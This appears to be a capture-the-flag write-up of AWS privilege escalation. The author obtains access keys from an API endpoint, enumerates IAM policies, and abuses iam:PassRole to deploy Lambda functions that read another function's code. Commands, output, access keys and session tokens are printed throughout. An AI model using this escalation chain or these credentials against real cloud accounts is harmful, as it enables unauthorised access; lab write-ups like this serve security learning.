All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources.
┌──(kali㉿kali)-[~]
└─$
I accessed the endpoint stated in the notes.txt
, and tested the access key
┌──(kali㉿kali)-[/tmp/flag]
└─$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent
{"Message": "Error encountered. Please raise a support ticket through your relational team lead to resolve the issue."}
┌──(kali㉿kali)-[/tmp/flag]
└─$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent -H "x-cat-header: cats_rule_the_world"
{"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMSUFX5522K", "Secret_Key": "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"}
┌──(kali㉿kali)-[/tmp/flag]
└─$
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws configure
AWS Access Key ID [********************]: AKIAQYDFBGMSUFX5522K
AWS Secret Access Key [********************]: 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
Default region name [None]: us-east-1
Default output format [None]:
┌──(kali㉿kali)-[/tmp/flag]
└─$
AWS
AWS IAM Enum
General
I did some general enumeration first
┌──(kali㉿kali)-[/tmp]
└─$ git clone https://github.com/andresriancho/enumerate-iam.git
Cloning into 'enumerate-iam'...
remote: Enumerating objects: 56, done.
remote: Total 56 (delta 0), reused 0 (delta 0), pack-reused 56
Receiving objects: 100% (56/56), 33.63 KiB | 3.74 MiB/s, done.
Resolving deltas: 100% (25/25), done.
┌──(kali㉿kali)-[/tmp]
└─$ cd enumerate-iam
┌──(kali㉿kali)-[/tmp/enumerate-iam]
└─$
┌──(kali㉿kali)-[/tmp/enumerate-iam]
└─$ python3 ./enumerate-iam.py --access-key AKIAQYDFBGMSUFX5522K --secret-key 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
2022-09-08 10:29:30,843 - 13773 - [INFO] Starting permission enumeration for access-key-id "AKIAQYDFBGMSUFX5522K"
2022-09-08 10:29:32,363 - 13773 - [INFO] -- Account ARN : arn:aws:iam::051751498533:user/user-b464a9d644194b0dafc3d166d36d5c4e
2022-09-08 10:29:32,364 - 13773 - [INFO] -- Account Id : 051751498533
2022-09-08 10:29:32,364 - 13773 - [INFO] -- Account Path: user/user-b464a9d644194b0dafc3d166d36d5c4e
2022-09-08 10:29:32,615 - 13773 - [INFO] Attempting common-service describe / list brute force.
2022-09-08 10:29:35,551 - 13773 - [INFO] -- ec2.describe_regions() worked!
2022-09-08 10:29:36,374 - 13773 - [INFO] -- ec2.describe_vpcs() worked!
2022-09-08 10:29:36,790 - 13773 - [INFO] -- ec2.describe_subnets() worked!
2022-09-08 10:29:36,925 - 13773 - [INFO] -- ec2.describe_route_tables() worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The rds client is currently using a deprecated endpoint: rds.amazonaws.com. In the next minor version this will be moved to rds.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
warnings.warn(
2022-09-08 10:29:37,139 - 13773 - [INFO] -- ec2.describe_security_groups() worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The sqs client is currently using a deprecated endpoint: queue.amazonaws.com. In the next minor version this will be moved to sqs.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
warnings.warn(
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The shield client is currently using a deprecated endpoint: shield.us-east-1.amazonaws.com. In the next minor version this will be moved to shield.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
warnings.warn(
2022-09-08 10:29:45,719 - 13773 - [INFO] -- dynamodb.describe_endpoints() worked!
/home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The health client is currently using a deprecated endpoint: health.us-east-1.amazonaws.com. In the next minor version this will be moved to global.health.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details.
warnings.warn(
2022-09-08 10:29:49,024 - 13773 - [INFO] -- sts.get_session_token() worked!
2022-09-08 10:29:49,284 - 13773 - [INFO] -- sts.get_caller_identity() worked!
2022-09-08 10:29:51,080 - 13773 - [INFO] -- iam.list_roles() worked!
2022-09-08 10:29:52,409 - 13773 - [INFO] -- iam.list_instance_profiles() worked!
2022-09-08 10:29:55,985 - 13773 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action
I researched on AWS CLI and found some useful resources
- https://aws.amazon.com/premiumsupport/knowledge-center/iam-assume-role-cli/
- https://pentestbook.six2dez.com/enumeration/cloud/aws (Especially this)
STS
I want to find out the user first
┌──(kali㉿kali)-[/tmp]
└─$ aws sts get-session-token
{
"Credentials": {
"AccessKeyId": "ASIAQYDFBGMSZBF6TPOA",
"SecretAccessKey": "Sb9XcmVH6D9AHBkyZqrEcmVDHj1Oc8bc+uTx3Sfc",
"SessionToken": "IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLWVhc3QtMSJHMEUCICzSTyubo2spTfu218pmipD3AYOuvnC5LlyAbhn0puoRAiEA8cdOAMs8VwGz2AuVcyvjq1l6dpB9QXrVl3KfF3cv1AIq6wEIOxABGgwwNTE3NTE0OTg1MzMiDLaA+gudPdOkAEldWCrIAa0Dqo6VDEv9Pdz6fft34HbHzK1bpbyCjN4I5BPoQDGDB9NL9ndxhITaq6fOB6dIXGDKYPhUbrTFvVfIDENksgK5MET6qgb3wNw9wEmGFzmdSBXDj5YLBUVZwx7VmdM/3y42Jcii9CuAY/Zl7aT6DSO3GOTpkbNEAYwsgQEtNR3mqiGS1+qlfa29dK+zieN40jvT4zoLi8mkYpCXfb17mY4P2NT/0GK4Dd2uin7zOcf/LCvoG3eN7jOfcETxf5OzfvC3WTsRx7FBMMyw6pgGOpgBPxv6X3QG+ux6pWx+xnmZvz06ju8lq4h9EOmDWd3gi3bUwSI8DkbAmEUGZ0VPXcBzZ2s+mgntkHwYFhLZAJd5s04sJnnEZDbaGWTM3SzS+1yuODmEHg9c31yHUmpEE/rI7TpaQRg1v4oaLvdhM03OCmDQY4uuT96Gi4xRLy7vLpklg3fXAWPt746hvsZ8HP61KlBLyEZJams=",
"Expiration": "2022-09-09T13:35:08+00:00"
}
}
The username can be found in the Arn. Its after the slash, in this case its user-a4f54ea053294863a598e6d01c5e4cc3
┌──(kali㉿kali)-[/tmp]
└─$ aws sts get-caller-identity
{
"UserId": "AIDAQYDFBGMS6M3T3E7N7",
"Account": "051751498533",
"Arn": "arn:aws:iam::051751498533:user/user-a4f54ea053294863a598e6d01c5e4cc3"
}
┌──(kali㉿kali)-[/tmp]
└─$
IAM
I wanted to look at the list of roles first, to figure what I can do.
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws iam list-roles
...
{
"Path": "/",
"RoleName": "ec2_agent_role",
"RoleId": "AROAQYDFBGMSYSEMEVAEH",
"Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
"CreateDate": "2022-07-22T09:29:34+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "lambda_agent_development_role",
"RoleId": "AROAQYDFBGMS2NDQR5JSE",
"Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
"CreateDate": "2022-07-22T09:29:34+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "lambda_agent_webservice_role",
"RoleId": "AROAQYDFBGMSTH7VQVGQC",
"Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role",
"CreateDate": "2022-07-22T09:29:35+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
...
User Policy
I tried to find user policy to figure out what I can and cannot do
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws iam list-attached-user-policies --user-name user-a5df75ad1753434aa2db7dbe7d361b96 254 ⨯
{
"AttachedPolicies": [
{
"PolicyName": "user-a5df75ad1753434aa2db7dbe7d361b96",
"PolicyArn": "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"
}
]
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96"
{
"Policy": {
"PolicyName": "user-a5df75ad1753434aa2db7dbe7d361b96",
"PolicyId": "ANPAQYDFBGMSUGVZ37LUE",
"Arn": "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2022-09-09T07:35:46+00:00",
"UpdateDate": "2022-09-09T07:35:46+00:00",
"Tags": []
}
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96" --version-id "v1" 252 ⨯
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"iam:GetPolicy",
"iam:GetPolicyVersion",
"iam:ListAttachedRolePolicies",
"iam:ListRoles"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"lambda:CreateFunction",
"lambda:InvokeFunction",
"lambda:GetFunction"
],
"Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
},
{
"Sid": "VisualEditor2",
"Effect": "Allow",
"Action": [
"iam:ListAttachedUserPolicies"
"iam:ListAttachedUserPolicies"
],
"Resource": "arn:aws:iam::051751498533:user/${aws:username}"
},
{
"Sid": "VisualEditor3",
"Effect": "Allow",
"Action": [
"iam:PassRole"
],
"Resource": "arn:aws:iam::051751498533:role/lambda_agent_development_role"
},
{
"Sid": "VisualEditor4",
"Effect": "Allow",
"Action": [
"ec2:DescribeVpcs",
"ec2:DescribeRegions",
"ec2:DescribeSubnets",
"ec2:DescribeRouteTables",
"ec2:DescribeSecurityGroups",
"ec2:DescribeInstanceTypes",
"iam:ListInstanceProfiles"
],
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2022-09-09T07:35:46+00:00"
}
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$
You can pass the arn:aws:iam::051751498533:role/lambda_agent_development_role
role, as it has iam:PassRole
.
You can also create lambda functions with the name arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*
, and then pass the above role to it.
AWS Lambda
Function Testing
Firstly, I tried running a lambda function with the help of this guide
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ nano index.js
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ cat index.js
exports.handler = async function(event, context, callback) {
return 'hello world';
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ zip function.zip index.js
adding: index.js (deflated 7%)
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws lambda create-function --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld --zip-file fileb://function.zip --runtime nodejs16.x --handler index.handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role
{
"FunctionName": "user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
"FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
"Runtime": "nodejs16.x",
"Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
"Handler": "index.handler",
"CodeSize": 248,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-09-09T08:04:50.310+0000",
"CodeSha256": "GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "918de20b-0d4d-4ef6-8674-704980ae7c8b",
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws lambda get-function --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld
{
"Configuration": {
"FunctionName": "user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
"FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld",
"Runtime": "nodejs16.x",
"Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
"Handler": "index.handler",
"CodeSize": 248,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-09-09T08:04:50.310+0000",
"CodeSha256": "GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "97b94a13-cc62-4ce9-bef1-307ced395057",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
},
"Code": {
"RepositoryType": "S3",
"Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/user-a5df75ad1753434aa2db7dbe7d361b96-helloworld-adf2d0ad-5438-45a2-bde3-3a9342de84e2?versionId=j8OIPEw3mHT2701GwQ5R7di10kb.KGZh&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkgwRgIhAML%2Fuslw0lHqTwVUclp0IjRq4j97DKbSw8fqdcAWhZdVAiEApRqDANMihAVPnaTPCFfYkQLVzWqUcbTGX3fYbSm7G3Aq2wQIQBAEGgwyOTUzMzg3MDM1ODMiDCIdr4DbWo5ooe%2F48Sq4BNKHgqSncjFRgBPZoyZG3qvqJiFBDYCGkQxYwzfoWJw6fKJ38fbeRI9hEAXz45nPG5YdPYwPlbTxV0KGA9wJxONeA7e3%2BDrhdZalJlMYdWc3f0okBYN%2FzfGR7Dr%2F40gtl4TqsjEMsYn5K83554LhIaAvpF3RsEM5PGmlF6FNDKxpArX41kGqzBFyO%2Fc6XnT4HmwFZd178cCDe3b9TtzwiJ9uKptgvPJ0rLAJwFWn%2BSYDj7N%2Bk6nLPw07Ca7%2BjljKyzJQY39VYRYRtbOemDQnoe9q9tAfhcAeWUsLMQpmQrYtMU%2FA8qtsXNpwfXyJYRQOQ8hbo258b7PBrhMKmr12KQp4UbKXD%2B9Ch8ONBTfkaBc4%2BQzE6Q6lqqhUwWg3TklBFDpkr4phU%2FY69PBn60ZCUmDjJiAqGjiretanxVzcEeP56YaT3wtaEYHY2DqfmR35I4SAfaQHqpu0oDR2FtyvsJiJNVh2f2PGLdJELlKAyP%2BWRRFpiDtTxQyA%2FPf6J03p71ZhkOQdZnOhSCiUx8qhiuhwIbK5zIqwgcMHhnF0WFr7tQLHRbgLqG2If2XQQgMQ5jOYY%2BmeVUNR3rhKeWtTRJk%2Bf0iJruf4S%2Fd5biQrFQ7HQzWEkSAbeJHZhHqrLo7K2gYnZ%2Fb%2FjweGkb%2F0mIzR8co72At6cJLZskOHorltPWhEyEa5J7NfkcZokuRPDcX14xAdGH04yfjBNJ1w60rIvzo8Wf5nzVBNSNZC3dAzWYkJGQOvFT9pQ%2FwwvMzrmAY6qAHq%2FszymAahlDysJ89xW19gKNJem84Bp7lEVUjPngmTEWDw7Y%2Ft5iVkEikEtfHnAn1WSHfoVgpl3GbAyh%2FawyzVfKirLfXuLw%2FWAsSsIiKd2O5YEgc3tX21miUktThFjIFEiomiUMbwMtmMSngJPBBKvFCmuScSC6vqplwYE1ykWQvGxKetwmsj%2BnztQKIas2aHBhZyHTdWbajX7y2EWMWiHMB6czPE1xI%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T080615Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LPUL5JLYKT%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=cc5fdd01b0c9b58854a454b446f84fe461a96d1ef1f683702296888a3f0d82c6"
}
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ aws lambda invoke --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld out.txt 252 ⨯
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$ cat out.txt
"hello world"
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS]
└─$
Lambda Role Policy
I tried enumerating more on what this lambda role could do to see how could I further privesc from the lambda function. It turns out that there are EC2 privileges here
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$ aws iam list-attached-role-policies --role-name "lambda_agent_development_role" 254 ⨯
{
"AttachedPolicies": [
{
"PolicyName": "iam_policy_for_lambda_agent_development_role",
"PolicyArn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"
}
]y
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role"
{
"Policy": {
"PolicyName": "iam_policy_for_lambda_agent_development_role",
"PolicyId": "ANPAQYDFBGMS2XASGX3JS",
"Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role",
"Path": "/",
"DefaultVersionId": "v2",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"Description": "AWS IAM Policy for Lambda agent development service",
"CreateDate": "2022-07-22T09:29:36+00:00",
"UpdateDate": "2022-08-23T13:16:26+00:00",
"Tags": []
}
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role" --version-id "v2"
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"ec2:RunInstances",
"ec2:CreateVolume",
"ec2:CreateTags"
],
"Effect": "Allow",
"Resource": "*"
},
{
"Action": [
"lambda:GetFunction"
],
"Effect": "Allow",
"Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service"
},
{
"Action": [
"iam:PassRole"
],
"Effect": "Allow",
"Resource": "arn:aws:iam::051751498533:role/ec2_agent_role",
"Sid": "VisualEditor2"
}
],
"Version": "2012-10-17"
},
"VersionId": "v2",
"IsDefaultVersion": true,
"CreateDate": "2022-08-23T13:16:26+00:00"
}
}
┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda]
└─$
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ aws lambda invoke --function-name arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service /tmp/out.txt
An error occurred (AccessDeniedException) when calling the Invoke operation: User: arn:aws:iam::051751498533:user/user-00e6fd16c555452c900d1b14d6af61c5 is not authorized to perform: lambda:InvokeFunction on resource: arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service because no identity-based policy allows the lambda:InvokeFunction action
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$
Lambda Privesc, view other Lambda
I tried viewing the other lambda function first, since it's a privilege with the lambda_agent role. I referred to here to help with the code.
lambda_function.py
# https://www.learnaws.org/2020/12/16/aws-ec2-boto3-ultimate-guide/
# https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/cheat_sheet_chris.md
import boto3
REGION_NAME="ap-southeast-1"
# https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/lambda.html#Lambda.Client.get_function
def get_function():
lambda_client = boto3.client('lambda')
response = lambda_client.get_function(
FunctionName='arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service'
)
return response
def lambda_handler(event, context):
func_response = get_function()
return func_response
#role_arn="arn:aws:iam::051751498533:role/ec2_agent_role"
run.sh
LAMBDA_FUNC=user-00e6fd16c555452c900d1b14d6af61c5-ec2test4
pip install --target ./package boto3
cd package
zip -r ../function.zip . > /dev/null
cd ..
zip -g function.zip lambda_function.py
rm -rf package
aws lambda create-function --zip-file fileb://function.zip --runtime python3.7 --handler lambda_function.lambda_handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role --function-name $LAMBDA_FUNC
aws lambda invoke --function-name $LAMBDA_FUNC /tmp/out.txt
cat /tmp/out.txt
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ls
lambda_function.py run.sh
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$ ./run.sh
...
updating: lambda_function.py (deflated 43%)
{
"FunctionName": "user-00e6fd16c555452c900d1b14d6af61c5-ec2test4",
"FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-00e6fd16c555452c900d1b14d6af61c5-ec2test4",
"Runtime": "python3.7",
"Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 9332181,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2022-09-09T10:00:13.477+0000",
"CodeSha256": "WZtZZh86oUgfKI5/0zRc+JVC1++pkWsl22clPyWDaUo=",
"Version": "$LATEST",
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "bb298cd0-0211-460a-a5ad-15c90b2173c1",
"State": "Pending",
"StateReason": "The function is being created.",
"StateReasonCode": "Creating",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
}
}
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
{"ResponseMetadata": {"RequestId": "df15839d-bf36-4cf1-a6d0-6a6f8fea517e", "HTTPStatusCode": 200, "HTTPHeaders": {"date": "Fri, 09 Sep 2022 10:00:17 GMT", "content-type": "application/json", "content-length": "2848", "connection": "keep-alive", "x-amzn-requestid": "df15839d-bf36-4cf1-a6d0-6a6f8fea517e"}, "RetryAttempts": 0}, "Configuration": {"FunctionName": "cat-service", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service", "Runtime": "python3.9", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "main.lambda_handler", "CodeSize": 416, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-08-23T13:16:19.469+0000", "CodeSha256": "52UWd1KHAZub5aJIS953mHrKVM0mFPiVBuGahWFGaz4=", "Version": "$LATEST", "TracingConfig": {"Mode": "PassThrough"}, "RevisionId": "90be1b48-3339-4a78-a083-b77e285b7b8a", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip"}, "Code": {"RepositoryType": "S3", "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d"}}
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function]
└─$
View File
┌──(kali㉿kali)-[/tmp]
└─$ wget "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d" -O special.zip
